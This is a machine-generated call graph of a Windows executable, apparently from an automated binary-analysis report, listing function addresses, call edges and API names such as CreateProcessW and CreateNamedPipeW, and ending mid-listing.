calls 55731->55928 55888 718d9c 55734->55888 55735 718072 55929 6f3696 55735->55929 55739 71808f 56023 730aa2 55739->56023 55742 718357 _strlen 55744 8294e7 __Init_thread_header 6 API calls 55742->55744 55746 7183e2 55742->55746 55743 71809b 55745 738610 35 API calls 55743->55745 55747 718a20 55744->55747 55748 7180d2 55745->55748 55749 8294e7 __Init_thread_header 6 API calls 55746->55749 55760 718413 55746->55760 55747->55746 55752 82955d __Init_thread_footer 5 API calls 55747->55752 56028 739d80 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55748->56028 55756 718a60 55749->55756 55752->55746 55753 7181c3 55899 761148 55753->55899 55754 71841d 55758 718474 55754->55758 55763 8294e7 __Init_thread_header 6 API calls 55754->55763 55755 718182 _strlen 55755->55753 55759 730c44 23 API calls 55755->55759 55757 82955d __Init_thread_footer 5 API calls 55756->55757 55756->55760 55757->55760 55762 761148 50 API calls 55758->55762 55759->55753 56031 7611b0 121 API calls 55760->56031 55765 71847e 55762->55765 55766 718aa0 55763->55766 55764 7181ee 55767 730c44 23 API calls 55764->55767 55770 8294e7 __Init_thread_header 6 API calls 55765->55770 55777 7184d5 _strlen 55765->55777 55766->55758 55768 82955d __Init_thread_footer 5 API calls 55766->55768 55769 71825d 55767->55769 55768->55758 55902 73060c 55769->55902 55775 718ae0 55770->55775 55773 715d30 3 API calls 55774 718270 _strlen 55773->55774 55906 715d88 55774->55906 55776 82955d __Init_thread_footer 5 API calls 55775->55776 55775->55777 55776->55777 55778 71851e 55777->55778 55780 8294e7 __Init_thread_header 6 API calls 55777->55780 56032 6f5886 121 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55778->56032 55783 718b20 55780->55783 55782 718528 55786 71857f 55782->55786 55787 8294e7 __Init_thread_header 6 API calls 55782->55787 55783->55778 55784 82955d __Init_thread_footer 5 API calls 55783->55784 55784->55778 55785 718289 _strlen 55788 7347a0 23 API calls 55785->55788 56033 6f58db 121 API calls 55786->56033 55793 718b60 55787->55793 55790 7182c7 55788->55790 55791 718d9c 12 API calls 55790->55791 55792 7182cc 55791->55792 55912 7151b2 55792->55912 55793->55786 55794 82955d __Init_thread_footer 5 API calls 55793->55794 55794->55786 55796 718589 56034 7346b0 35 API calls 55796->56034 55797 7182df 55919 770180 55797->55919 55800 7185db 55802 7185fc 55800->55802 55805 8294e7 __Init_thread_header 6 API calls 55800->55805 55801 7182f4 55924 770322 55801->55924 56035 6f5916 35 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55802->56035 55812 718ba0 55805->55812 55806 71830e 55807 718328 55806->55807 55808 71831c 55806->55808 55810 6f3696 121 API calls 55807->55810 55809 7151b2 23 API calls 55808->55809 55811 718326 55809->55811 55810->55811 56029 770607 5 API calls _strlen 55811->56029 55812->55802 55815 82955d __Init_thread_footer 5 API calls 55812->55815 55814 718602 _strlen 55817 718649 55814->55817 55818 8294e7 __Init_thread_header 6 API calls 55814->55818 55815->55802 55816 71833c 56030 76ac9c 8 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55816->56030 56036 743850 23 API calls 2 library calls 55817->56036 55821 718be0 55818->55821 55821->55817 55822 82955d __Init_thread_footer 5 API calls 55821->55822 55822->55817 55823 718659 56037 753040 180 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55823->56037 55825 7186b7 55828 8294e7 __Init_thread_header 6 API calls 55825->55828 55833 7186df __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 55825->55833 55837 718702 55825->55837 55826 718759 GetCurrentProcess 56039 758b40 6 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55826->56039 55836 718d26 55828->55836 55829 8294e7 __Init_thread_header 6 API calls 55831 718c20 55829->55831 55830 718765 55832 6f3696 121 API calls 55830->55832 55831->55826 55834 718c30 55831->55834 55840 71878e 55832->55840 56038 743cc0 23 API calls 3 library calls 55833->56038 55839 82955d __Init_thread_footer 5 API calls 55834->55839 55836->55833 55838 82955d __Init_thread_footer 5 API calls 55836->55838 55837->55826 55837->55829 55838->55833 55841 718c4e 55839->55841 55842 715d30 3 API calls 55840->55842 55841->55826 55843 7187db _strlen 55842->55843 55845 8294e7 __Init_thread_header 6 API calls 55843->55845 55846 71882b 55843->55846 55844 715d30 3 API calls 55849 718866 _strlen 55844->55849 55847 718c60 55845->55847 55846->55844 55847->55846 55848 82955d __Init_thread_footer 5 API calls 55847->55848 55848->55846 55850 718920 55849->55850 55851 71889a 55849->55851 55852 715d30 3 API calls 55850->55852 55853 8294e7 __Init_thread_header 6 API calls 55851->55853 55854 7188bb 55851->55854 55860 71893a _strlen 55852->55860 55856 718ca3 55853->55856 55855 8294e7 __Init_thread_header 6 API calls 55854->55855 55862 7188fd _strlen 55854->55862 55858 718ce6 55855->55858 55856->55854 55857 82955d __Init_thread_footer 5 API calls 55856->55857 55857->55854 55859 82955d __Init_thread_footer 5 API calls 55858->55859 55858->55862 55859->55862 55861 8294e7 __Init_thread_header 6 API calls 55860->55861 55860->55862 55863 718d66 55861->55863 55862->55727 55863->55862 55864 82955d __Init_thread_footer 5 API calls 55863->55864 55864->55862 55866 84372f CallCatchBlock 55865->55866 55867 843809 55866->55867 55872 843774 55866->55872 55880 843783 __fread_nolock _unexpected 55866->55880 55884 847ce1 EnterCriticalSection 55867->55884 55870 84381d 55871 843834 SetConsoleCtrlHandler 55870->55871 55877 843845 _unexpected 55870->55877 55873 84384e 55871->55873 55871->55877 55872->55880 55883 846fb1 11 API calls 2 library calls 55872->55883 55885 83a805 11 API calls __dosmaperr 55873->55885 55876 843853 GetLastError 55876->55877 55886 8438c0 LeaveCriticalSection _unexpected 55877->55886 55878 84378e 55878->55880 55881 758c30 ___std_exception_copy 2 API calls 55878->55881 55882 6f5a53 55880->55882 55887 843b3f 11 API calls __dosmaperr 55880->55887 55881->55880 55882->55725 55883->55878 55884->55870 55885->55876 55886->55880 55887->55882 55889 718da6 55888->55889 55895 718158 55889->55895 56040 73b640 7 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 55889->56040 55891 718dbf 55892 8293de 3 API calls 55891->55892 55891->55895 55893 718dcd 55892->55893 56041 73b700 10 API calls 55893->56041 55895->55742 55896 715d30 55895->55896 56042 7373d0 55896->56042 56045 748590 55899->56045 55903 718269 55902->55903 55904 730616 55902->55904 55903->55773 55905 730632 23 API calls 55904->55905 55905->55903 55907 715dbc 55906->55907 55911 715de9 55907->55911 56116 73130a 23 API calls _strlen 55907->56116 55909 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55910 715e65 55909->55910 55910->55785 55911->55909 55913 7151c2 55912->55913 55914 7151d8 __fread_nolock 55912->55914 55915 7151d3 55913->55915 55916 71522f 55913->55916 55914->55797 55915->55914 55918 8293de 3 API calls 55915->55918 56117 730494 23 API calls 55916->56117 55918->55914 56118 76ff91 55919->56118 55921 7701bf 55922 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 55921->55922 55923 7701d3 55922->55923 55923->55801 55925 77032d 55924->55925 55926 8293de 3 API calls 55925->55926 55927 77033a __fread_nolock 55926->55927 55927->55806 55928->55735 55930 6f36b2 _strlen 55929->55930 55931 6f36ba 55930->55931 55932 6f3713 55930->55932 55935 8293de 3 API calls 55931->55935 55937 6f36bf __fread_nolock 55931->55937 57118 730494 23 API calls 55932->57118 55935->55937 55937->55739 56024 730ab2 _strlen 56023->56024 56025 730920 23 API calls 56024->56025 56026 730abe 56025->56026 56026->55743 56027->55734 56028->55734 56029->55816 56030->55742 56031->55754 56032->55782 56033->55796 56034->55800 56035->55814 56036->55823 56037->55825 56038->55837 56039->55830 56040->55891 56041->55895 56043 8293de 3 API calls 56042->56043 56044 715d3c 56043->56044 56044->55755 56050 7485f0 56045->56050 56048 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56049 7485d9 56048->56049 56049->55764 56051 748626 __fread_nolock 56050->56051 56052 7766b0 13 API calls 56051->56052 56053 748654 56052->56053 56071 82eea9 56053->56071 56055 7486a0 56056 7486b8 56055->56056 56057 7486bf 56055->56057 56063 7486d0 __fread_nolock 56055->56063 56075 730920 56056->56075 56062 7766e0 12 API calls 56057->56062 56058 74867a 56058->56055 56074 82ee85 46 API calls 56058->56074 56060 8293de 3 API calls 56060->56063 56064 7487c5 56062->56064 56063->56057 56063->56060 56067 82eea9 46 API calls 56063->56067 56068 7487a1 56063->56068 56079 82ee85 46 API calls 56063->56079 56065 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56064->56065 56066 7485cc 56065->56066 56066->56048 56067->56063 56070 730920 23 API calls 56068->56070 56070->56057 56080 82f401 56071->56080 56073 82eecb 56073->56058 56074->56055 56076 730934 56075->56076 56078 730967 __fread_nolock 56076->56078 56115 7309ae 23 API calls __fread_nolock 56076->56115 56078->56057 56079->56063 56081 82f422 56080->56081 56082 82f40d 56080->56082 56085 82f433 56081->56085 56088 82f456 56081->56088 56083 83a7f2 __dosmaperr 11 API calls 56082->56083 56084 82f412 56083->56084 56111 83be02 22 API calls __fread_nolock 56084->56111 56087 83a7f2 __dosmaperr 11 API calls 56085->56087 56110 82f43c 56085->56110 56091 82f4e0 56087->56091 56089 83a7f2 __dosmaperr 11 API calls 56088->56089 56092 82f45b 56089->56092 56090 82f41d 56090->56073 56114 83be02 22 API calls __fread_nolock 56091->56114 56093 82f495 56092->56093 56094 82f468 56092->56094 56113 831946 46 API calls 4 library calls 56093->56113 56112 831946 46 API calls 4 library calls 56094->56112 56098 82f47a 56100 82f482 56098->56100 56101 82f4cf 56098->56101 56099 82f4a7 56099->56101 56103 82f4b9 56099->56103 56102 83a7f2 __dosmaperr 11 API calls 56100->56102 56107 83a7f2 __dosmaperr 11 API calls 56101->56107 56101->56110 56105 82f487 56102->56105 56104 83a7f2 __dosmaperr 11 API calls 56103->56104 56106 82f4be 56104->56106 56108 83a7f2 __dosmaperr 11 API calls 56105->56108 56105->56110 56109 83a7f2 __dosmaperr 11 API calls 56106->56109 56106->56110 56107->56091 56108->56110 56109->56110 56110->56073 56111->56090 56112->56098 56113->56099 56114->56110 56115->56078 56116->55911 56119 76ffb4 56118->56119 56146 76f782 56119->56146 56123 76ffee __fread_nolock 56236 7ac768 56123->56236 56125 770035 GetCurrentProcessId 56239 743aa0 56125->56239 56127 770045 __fread_nolock 56128 7ac768 3 API calls 56127->56128 56129 77007b 56128->56129 56249 771ee0 56129->56249 56131 770095 __fread_nolock 56132 7ac768 3 API calls 56131->56132 56134 7700cb 56132->56134 56133 770163 56137 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56133->56137 56134->56133 56135 8293de 3 API calls 56134->56135 56136 770103 56135->56136 56252 7b7b42 56136->56252 56138 770178 56137->56138 56138->55921 56140 770123 56255 770242 56140->56255 56144 77015c 56286 770353 121 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56144->56286 56147 76f7b2 56146->56147 56148 7373d0 3 API calls 56147->56148 56149 76f7d5 56148->56149 56150 76fb16 56149->56150 56154 76f7ea 56149->56154 56151 76fb3f 56150->56151 56152 76fb6c 56150->56152 56153 7701db 14 API calls 56151->56153 56231 76fdf1 56152->56231 56287 716204 56152->56287 56155 76fb44 56153->56155 56157 737cd0 35 API calls 56154->56157 56159 76f828 56154->56159 56161 748e60 23 API calls 56155->56161 56157->56159 56160 76f860 56159->56160 56167 76f8a1 56159->56167 56162 737cd0 35 API calls 56160->56162 56164 76fe43 56161->56164 56174 76f878 56162->56174 56163 76fc9f 56168 6f3696 121 API calls 56163->56168 56373 76c3b6 142 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56164->56373 56165 6f3696 121 API calls 56169 76fbf3 56165->56169 56172 76f896 56167->56172 56183 76f8f2 56167->56183 56170 76fcaf 56168->56170 56171 7168a0 35 API calls 56169->56171 56176 730aa2 23 API calls 56170->56176 56207 76fbfd 56171->56207 56172->56167 56177 737cd0 35 API calls 56172->56177 56185 76fed8 56172->56185 56173 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56178 76fecd 56173->56178 56360 752df0 198 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56174->56360 56180 76fcbb 56176->56180 56177->56183 56232 7ac50c 56178->56232 56179 76f920 56362 7304ce 56179->56362 56293 7168a0 56180->56293 56361 76f1b4 264 API calls 3 library calls 56183->56361 56186 76fedb 56185->56186 56187 6f3696 121 API calls 56187->56207 56188 76f93b __fread_nolock 56191 76f9b8 56188->56191 56197 76f976 GetModuleFileNameW 56188->56197 56189 76fce3 56300 7701db 56189->56300 56193 716204 23 API calls 56191->56193 56196 76f9e7 56193->56196 56195 730920 23 API calls 56195->56207 56200 76fb74 56196->56200 56201 76f9ef 56196->56201 56197->56186 56202 76f98e 56197->56202 56198 76fd45 56205 7701db 14 API calls 56198->56205 56199 7168a0 35 API calls 56199->56207 56203 738610 35 API calls 56200->56203 56204 6f3696 121 API calls 56201->56204 56209 737cd0 35 API calls 56202->56209 56206 76fb8c 56203->56206 56208 76f9ff 56204->56208 56210 76fd58 56205->56210 56211 738b80 35 API calls 56206->56211 56207->56163 56207->56187 56207->56195 56207->56199 56212 730aa2 23 API calls 56208->56212 56209->56191 56370 76c49e 23 API calls 56210->56370 56224 76fafb 56211->56224 56214 76fa0b 56212->56214 56216 7168a0 35 API calls 56214->56216 56215 76fd60 56371 7492e0 23 API calls 56215->56371 56218 76fa34 56216->56218 56220 6f3696 121 API calls 56218->56220 56228 76fabc 56218->56228 56219 6f3696 121 API calls 56221 76faee 56219->56221 56222 76fa7c 56220->56222 56223 7168a0 35 API calls 56221->56223 56225 730920 23 API calls 56222->56225 56223->56224 56224->56152 56226 76fa94 56225->56226 56227 7168a0 35 API calls 56226->56227 56227->56228 56228->56219 56229 76fd79 56372 7010fe 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56229->56372 56231->56173 56233 7ac515 56232->56233 56234 8293de 3 API calls 56233->56234 56235 7ac523 56233->56235 56234->56235 56235->56123 56237 7ac50c 3 API calls 56236->56237 56238 7ac779 56237->56238 56238->56125 56240 743ae0 56239->56240 56240->56240 56241 743b94 56240->56241 56242 743b22 56240->56242 56846 730494 23 API calls 56241->56846 56244 8293de 3 API calls 56242->56244 56246 743b27 __fread_nolock 56242->56246 56244->56246 56247 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56246->56247 56248 743b8a 56247->56248 56248->56127 56847 758690 56249->56847 56856 7b73d8 56252->56856 56256 7702b5 56255->56256 56259 77025d 56255->56259 56257 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56256->56257 56258 770142 56257->56258 56261 7b880a 56258->56261 57057 7b870c 56259->57057 56262 7b8358 136 API calls 56261->56262 56263 7b8853 56262->56263 56264 7b88a0 56263->56264 56267 7b87cc 126 API calls 56263->56267 56265 7b88c8 56264->56265 56266 7b8893 56264->56266 56268 7b8358 136 API calls 56265->56268 56270 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56266->56270 56269 7b8873 56267->56269 56271 7b8915 56268->56271 56269->56265 56272 7b8882 56269->56272 56273 7b88bc 56270->56273 56276 7b87cc 126 API calls 56271->56276 56285 7b8951 56271->56285 56274 7ea9da 125 API calls 56272->56274 56273->56144 56277 7b888a 56274->56277 56275 7b8986 56278 7b8931 56276->56278 56279 7d6537 128 API calls 56277->56279 56278->56275 56282 7ea9da 125 API calls 56278->56282 56279->56266 56280 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56281 7b897a 56280->56281 56281->56144 56283 7b8948 56282->56283 56284 7d6537 128 API calls 56283->56284 56284->56285 56285->56275 56285->56280 56286->56133 56288 716221 56287->56288 56289 716253 56287->56289 56374 6f5706 RaiseException EnterCriticalSection LeaveCriticalSection 56288->56374 56289->56163 56289->56165 56291 716232 56291->56289 56292 7304ce 23 API calls 56291->56292 56292->56291 56294 7168e9 56293->56294 56299 7168c6 56293->56299 56296 7169fb 56294->56296 56375 6f4170 35 API calls _unexpected 56294->56375 56295 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56298 7169f1 56295->56298 56298->56189 56299->56295 56301 770204 56300->56301 56307 76fd0d 56300->56307 56302 8294e7 __Init_thread_header 6 API calls 56301->56302 56303 77020e 56302->56303 56304 8293de 3 API calls 56303->56304 56303->56307 56305 770221 56304->56305 56306 82955d __Init_thread_footer 5 API calls 56305->56306 56306->56307 56308 76ad1e GetCurrentProcessId 56307->56308 56309 748590 50 API calls 56308->56309 56313 76ad61 56309->56313 56311 748e60 23 API calls 56311->56313 56313->56311 56314 76b0ca 56313->56314 56315 76aeae 56313->56315 56332 76aedd 56313->56332 56376 7ac868 56313->56376 56381 7acb18 56313->56381 56586 7ac794 56313->56586 56316 76b0cf 56314->56316 56317 83d9b4 _unexpected 34 API calls 56314->56317 56603 78d580 122 API calls 56315->56603 56606 7acdd8 GetVersion 56316->56606 56317->56316 56318 76aefd CreateEventW CreateEventW CreateEventW 56389 76b0cf 56318->56389 56323 76af57 SetUnhandledExceptionFilter 56326 843723 13 API calls 56323->56326 56324 76aec6 56331 6f1741 121 API calls 56324->56331 56328 76af6e 56326->56328 56327 8293de 3 API calls 56329 76b0e7 56327->56329 56330 8293de 3 API calls 56328->56330 56329->56198 56333 76af78 56330->56333 56331->56332 56332->56318 56334 7304ce 23 API calls 56333->56334 56335 76afb6 56334->56335 56394 76c972 56335->56394 56338 716204 23 API calls 56339 76aff1 56338->56339 56400 6f4418 56339->56400 56341 76affc 56342 7313a0 23 API calls 56341->56342 56343 76b007 56342->56343 56344 76b023 CreateThread 56343->56344 56345 76b0a1 56343->56345 56604 76b0fc 177 API calls 2 library calls 56344->56604 56404 76b18d 56345->56404 56348 76b0ad 56349 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56348->56349 56350 76b0be 56349->56350 56350->56198 56351 76b093 56351->56348 56352 76b046 56352->56348 56352->56351 56605 73c840 GetLastError 56352->56605 56360->56172 56361->56179 56363 7304fa 56362->56363 56369 7304ea __fread_nolock 56362->56369 56364 730502 56363->56364 56365 730554 56363->56365 56367 8293de 3 API calls 56364->56367 56364->56369 56845 730494 23 API calls 56365->56845 56367->56369 56369->56188 56370->56215 56371->56229 56372->56231 56373->56231 56374->56291 56375->56299 56377 7ac87f 56376->56377 56380 7ac89b 56377->56380 56629 741b70 56377->56629 56635 7306ea 56377->56635 56380->56313 56382 7acb49 GetVersion 56381->56382 56384 7acb73 CreateNamedPipeW 56381->56384 56383 7acb5e 56382->56383 56382->56384 56650 7acbc3 56383->56650 56386 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56384->56386 56388 7acbb9 56386->56388 56388->56313 56390 7acdd8 129 API calls 56389->56390 56391 76b0dd 56390->56391 56392 8293de 3 API calls 56391->56392 56393 76b0e7 56392->56393 56393->56323 56395 76c9ba 56394->56395 56399 76c992 56394->56399 56396 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56395->56396 56398 76afe6 56396->56398 56398->56338 56399->56395 56684 76c9ce 23 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56399->56684 56401 6f4435 56400->56401 56403 6f4446 56400->56403 56685 6f5706 RaiseException EnterCriticalSection LeaveCriticalSection 56401->56685 56403->56341 56405 76b1b1 56404->56405 56407 76c36e 56405->56407 56686 7acf24 56405->56686 56409 83d9b4 _unexpected 34 API calls 56407->56409 56408 76b23b 56412 6f3696 121 API calls 56408->56412 56425 76b287 56408->56425 56411 76c385 56409->56411 56410 748e60 23 API calls 56419 76b1d6 56410->56419 56413 76b263 56412->56413 56690 76cc9a 56413->56690 56414 6f3696 121 API calls 56417 76b2d6 56414->56417 56416 7acf24 23 API calls 56416->56419 56421 76cc9a 23 API calls 56417->56421 56419->56408 56419->56410 56419->56416 56420 6f3696 121 API calls 56423 76b349 56420->56423 56424 76b2e9 56421->56424 56422 7acf24 23 API calls 56422->56425 56426 76cc9a 23 API calls 56423->56426 56427 7acf24 23 API calls 56424->56427 56425->56414 56429 76b2fa 56425->56429 56428 76b35c 56426->56428 56427->56429 56430 7acf24 23 API calls 56428->56430 56429->56420 56436 76b36d 56429->56436 56430->56436 56431 76b643 GetCurrentProcessId OpenProcess 56434 76b65f 56431->56434 56442 76b71f 56431->56442 56433 748e60 23 API calls 56437 76b3cc 56433->56437 56702 7ad35e 56434->56702 56435 6f3696 121 API calls 56462 76b5c5 56435->56462 56436->56433 56473 76b404 56436->56473 56438 6f3696 121 API calls 56437->56438 56443 76b3e2 56438->56443 56439 76cc9a 23 API calls 56439->56462 56440 730920 23 API calls 56440->56473 56441 76b776 56807 76cc1a 128 API calls 56441->56807 56442->56441 56796 73c840 GetLastError 56442->56796 56448 76cc9a 23 API calls 56443->56448 56446 7acf24 23 API calls 56446->56462 56452 76b3f3 56448->56452 56449 6f3696 121 API calls 56453 76b6d4 56449->56453 56457 7acf24 23 API calls 56452->56457 56461 730920 23 API calls 56453->56461 56454 748e60 23 API calls 56454->56473 56455 76bd4f 56458 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56455->56458 56457->56473 56464 76bd5d 56458->56464 56466 76b6f3 56461->56466 56462->56431 56462->56435 56462->56439 56462->56446 56463 6f3696 121 API calls 56463->56473 56464->56348 56469 748e60 23 API calls 56466->56469 56468 76cc9a 23 API calls 56468->56473 56471 76b792 56469->56471 56470 7acf24 23 API calls 56470->56473 56472 7acf24 23 API calls 56471->56472 56475 76b7a3 56472->56475 56473->56440 56473->56454 56473->56462 56473->56463 56473->56468 56473->56470 56795 6ffbc0 23 API calls __fread_nolock 56473->56795 56474 76b7fa GetStdHandle GetStdHandle GetStdHandle 56476 76c2d7 56474->56476 56477 76b8bf 56474->56477 56475->56474 56478 8294e7 __Init_thread_header 6 API calls 56476->56478 56479 8294e7 __Init_thread_header 6 API calls 56477->56479 56488 76b8e0 56477->56488 56480 76c2e1 56478->56480 56482 76c326 56479->56482 56480->56477 56481 76c2f1 56480->56481 56810 7ad41c LoadLibraryW GetProcAddress 56481->56810 56485 76c355 56482->56485 56486 76c33f 56482->56486 56482->56488 56484 76c302 56490 82955d __Init_thread_footer 5 API calls 56484->56490 56496 82955d __Init_thread_footer 5 API calls 56485->56496 56811 7ad41c LoadLibraryW GetProcAddress 56486->56811 56487 76b968 56497 76b99f 56487->56497 56797 731444 23 API calls __fread_nolock 56487->56797 56488->56487 56489 76b9a6 GetLastError 56488->56489 56501 76b919 56488->56501 56492 76b9b5 56489->56492 56506 76bc72 56489->56506 56493 76c314 56490->56493 56500 76b9be InitializeProcThreadAttributeList 56492->56500 56493->56477 56494 76c350 56494->56485 56496->56488 56498 76babd CreateProcessW 56497->56498 56502 76bae7 CloseHandle 56498->56502 56515 76bc15 56498->56515 56499 76ba45 56798 8400e1 43 API calls 2 library calls 56499->56798 56504 76b9de 56500->56504 56519 76bd67 56500->56519 56505 73bec0 121 API calls 56501->56505 56514 76b963 56501->56514 56524 76bafd 56502->56524 56706 76cfe4 56504->56706 56508 76b945 56505->56508 56506->56514 56805 73c840 GetLastError 56506->56805 56511 6f1741 121 API calls 56508->56511 56521 76b959 56511->56521 56512 76bcdd 56523 76cfe4 14 API calls 56512->56523 56513 76bb3c 56522 76bb57 CloseHandle 56513->56522 56800 73ca90 123 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56513->56800 56514->56407 56514->56512 56515->56514 56803 73c840 GetLastError 56515->56803 56519->56514 56808 73c840 GetLastError 56519->56808 56529 73c2a0 121 API calls 56521->56529 56548 76bb6d 56522->56548 56531 76bce9 56523->56531 56524->56513 56799 73c840 GetLastError 56524->56799 56529->56514 56541 76bcf3 56531->56541 56541->56531 56806 7ac79e 123 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56541->56806 56547 76ba0a 56547->56407 56550 76bd1a 56550->56441 56587 7d6537 56586->56587 56821 7eac0e CloseHandle 56587->56821 56590 7d6549 56590->56313 56592 7d65cf 56593 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56592->56593 56594 7d65d9 56593->56594 56594->56313 56595 7d6576 56595->56592 56841 73c840 GetLastError 56595->56841 56603->56324 56604->56352 56607 7ace08 56606->56607 56608 7ace99 InitializeCriticalSection 56606->56608 56607->56608 56610 7ace16 56607->56610 56609 7ace92 56608->56609 56611 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56609->56611 56612 7ace37 InitializeCriticalSectionEx 56610->56612 56614 8294e7 __Init_thread_header 6 API calls 56610->56614 56613 76b0dd 56611->56613 56612->56609 56617 7ace4b 56612->56617 56613->56327 56615 7acec3 56614->56615 56615->56612 56616 7aced3 56615->56616 56844 7ad41c LoadLibraryW GetProcAddress 56616->56844 56617->56609 56843 73c840 GetLastError 56617->56843 56620 7acee4 56621 82955d __Init_thread_footer 5 API calls 56620->56621 56624 7acef6 56621->56624 56624->56612 56631 741bb4 __aullrem 56629->56631 56632 741bfb __aullrem 56631->56632 56639 759a00 56631->56639 56633 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56632->56633 56634 741c19 56633->56634 56634->56377 56636 7306f9 56635->56636 56638 730732 __fread_nolock 56635->56638 56636->56638 56649 730ac4 23 API calls __fread_nolock 56636->56649 56638->56377 56640 759a17 56639->56640 56641 759a0a SystemFunction036 56639->56641 56640->56631 56641->56640 56642 759a19 56641->56642 56643 759a4f GetSystemTimeAsFileTime 56642->56643 56645 759a8d __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 56642->56645 56643->56645 56644 759b7d 56646 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56644->56646 56645->56644 56647 759af7 GetSystemTimeAsFileTime 56645->56647 56648 759c66 56646->56648 56647->56645 56648->56631 56649->56638 56653 7acbe5 56650->56653 56651 7acdd2 56652 7acc0a 56656 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56652->56656 56653->56651 56653->56652 56654 8294e7 __Init_thread_header 6 API calls 56653->56654 56655 7acc56 56654->56655 56655->56652 56657 7acc62 ConvertStringSecurityDescriptorToSecurityDescriptorW 56655->56657 56658 7acc42 56656->56658 56659 7acc8d BuildExplicitAccessWithNameW BuildSecurityDescriptorW 56657->56659 56664 7acd55 56657->56664 56658->56384 56660 7acd53 56659->56660 56661 7acd03 SetLastError 56659->56661 56663 7acd98 56660->56663 56683 7d6608 125 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 56660->56683 56662 7acd13 56661->56662 56662->56660 56681 73c840 GetLastError 56662->56681 56666 82955d __Init_thread_footer 5 API calls 56663->56666 56664->56663 56682 73c840 GetLastError 56664->56682 56666->56652 56683->56663 56684->56399 56685->56403 56688 7acf38 56686->56688 56687 7acfaf 56687->56419 56688->56687 56689 731878 23 API calls 56688->56689 56689->56687 56691 76ccbd 56690->56691 56692 748e60 23 API calls 56691->56692 56693 76ccd1 56692->56693 56694 731878 23 API calls 56693->56694 56695 76cd0d 56694->56695 56696 731a38 23 API calls 56695->56696 56697 76cd31 56696->56697 56698 731878 23 API calls 56697->56698 56699 76cd64 56698->56699 56700 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56699->56700 56701 76b276 56700->56701 56701->56422 56703 7ad38d 56702->56703 56704 748590 50 API calls 56703->56704 56705 76b6c4 56704->56705 56705->56449 56707 76cff0 56706->56707 56708 76b9f0 56706->56708 56709 76d00f DeleteProcThreadAttributeList 56707->56709 56710 8294e7 __Init_thread_header 6 API calls 56707->56710 56717 76cdde 56708->56717 56709->56708 56711 76d02b 56710->56711 56711->56709 56718 76cdfa 56717->56718 56723 76ce17 __fread_nolock 56717->56723 56723->56547 56795->56473 56797->56499 56798->56497 56800->56522 56806->56550 56807->56455 56810->56484 56811->56494 56823 7eac38 56821->56823 56822 7eac7f 56824 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56822->56824 56823->56822 56842 73c840 GetLastError 56823->56842 56826 7d6542 56824->56826 56826->56590 56833 7ea51e ReadFile 56826->56833 56834 7ea55d 56833->56834 56835 7ea596 GetLastError 56833->56835 56839 7ea578 ReadFile 56834->56839 56840 7ea5a8 56834->56840 56835->56840 56836 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56838 7ea5b7 56836->56838 56837 7ea5c6 56838->56595 56839->56834 56839->56835 56840->56836 56840->56837 56844->56620 56848 758704 56847->56848 56851 7586c2 56847->56851 56849 8294e7 __Init_thread_header 6 API calls 56848->56849 56850 75870e 56849->56850 56850->56851 56852 75871a GetNativeSystemInfo 56850->56852 56853 8294aa __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 56851->56853 56855 82955d __Init_thread_footer 5 API calls 56852->56855 56854 7586fc 56853->56854 56854->56131 56855->56851 56857 8293de 3 API calls 56856->56857 56858 7b73eb 56857->56858 56861 7b526e 56858->56861 56862 7b5290 56861->56862 56863 